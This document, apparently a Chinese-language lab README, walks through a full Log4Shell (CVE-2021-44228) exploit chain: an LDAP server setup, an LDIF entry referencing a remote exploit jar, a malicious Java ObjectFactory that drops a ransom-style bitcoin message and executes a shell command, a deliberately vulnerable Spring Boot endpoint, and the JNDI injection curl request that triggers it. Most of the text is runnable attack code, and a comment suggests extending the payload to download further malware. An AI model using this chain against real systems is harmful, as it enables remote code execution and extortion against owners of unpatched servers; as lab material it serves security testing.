
演示 Log4Shell (CVE-2021-44228) 的利用,包括 LDAP 服务器、恶意 JNDI 载荷和易受攻击的 Spring Boot 应用程序,用于安全测试。
测试
docker-compose.yml
version: '2'
services:
dockerdj:
image: openidentityplatform/opendj:latest
container_name: ldap
environment:
ROOT_USER_DN: "cn=han"
ROOT_PASSWORD: "han"
BASE_DN: "dc=bumbing,dc=xyz"
ports:
- "389:1389"
- "636:1636"
- "4444:4444"
volumes:
- "./opendj/logs:/opt/opendj/data/logs"
nginx:
image: nginx:latest
container_name: nginx
ports:
- "7080:80"
volumes:
- "./file:/usr/share/nginx/html:ro"
- "./conf/nginx.conf:/etc/nginx/nginx.conf"
运行docker-compose
docker-compose up -d
add.ldif
version: 1
dn: dc=bumbing,dc=xyz
objectClass: domain
objectClass: top
dc: bumbing
dn: cn=log4j,dc=bumbing,dc=xyz
objectClass: javaContainer
objectClass: javaNamingReference
objectClass: javaObject
objectClass: top
cn: class
javaClassName: xyz.bumbing.log4j.Exploit
javaCodebase: http://{fileServer}:7080/exploit-1.jar
javaFactory: xyz.bumbing.log4j.Exploit
添加包含恶意文件信息的Entry的命令
ldapadd -D "cn=han" -w han -H ldap://{ldapServer} -f add.ldif
测试ldap(参数顺序重要)
curl ldap://{ldapServer}/cn=log4j,dc=bumbing,dc=xyz
恶意代码(可以添加下载其他恶意文件的命令)
public class Exploit implements javax.naming.spi.ObjectFactory{
@Override
public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception {
try {
new File("/Users//test").createNewFile();
String msg = "your computer has our virus. if you want to recover your computer, send bitcoin our wallet";
FileOutputStream fileOutputSteam = new FileOutputStream(new File("/Users/hanbeomhee/test"));
StringBuilder sb = new StringBuilder();
sb.append(o.toString()).append("\n");
sb.append(name).append("\n");
sb.append(msg);
fileOutputSteam.write(sb.toString().getBytes(StandardCharsets.UTF_8));
fileOutputSteam.close();
} catch (IOException e) {
e.printStackTrace();
}
Runtime.getRuntime().exec("open /Users//test");
return null;
}
}
构建命令
./gradlew clean build
如果不是本地服务器,将exploit-1.jar文件上传到文件服务器的docker/file文件夹
确认下载 http://{fileServer}:7080/exploit-1.jar
Gradle结构
plugins {
id 'org.springframework.boot' version '2.6.1'
id 'io.spring.dependency-management' version '1.0.11.RELEASE'
id 'java'
}
group = 'xyz.bumbing'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '8'
configurations {
compileOnly {
extendsFrom annotationProcessor
}
}
repositories {
mavenCentral()
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-web'
compileOnly 'org.projectlombok:lombok'
annotationProcessor 'org.projectlombok:lombok'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
implementation "org.springframework.boot:spring-boot-starter-log4j2"
modules {
module("org.springframework.boot:spring-boot-starter-logging") {
replacedBy("org.springframework.boot:spring-boot-starter-log4j2", "Use Log4j2 instead of Logback")
}
}
}
test {
useJUnitPlatform()
}
服务器代码
@SpringBootApplication
@RestController
@Slf4j
public class Log4jtestApplication {
public static void main(String[] args) {
SpringApplication.run(Log4jtestApplication.class, args);
}
@GetMapping("/log4j")
public void test(String param, HttpServletRequest request){
log.info(request.getHeader("User-Agent"));
}
}
curl --location --request GET 'localhost:8080/log4j' \
--header 'User-Agent: ${jndi:ldap://localhost/cn=log4j,dc=bumbing,dc=xyz}'
运行命令(必须使用8u191之前的版本构建并运行)
java -jar build/libs/log4jtest-0.0.1-SNAPSHOT.jar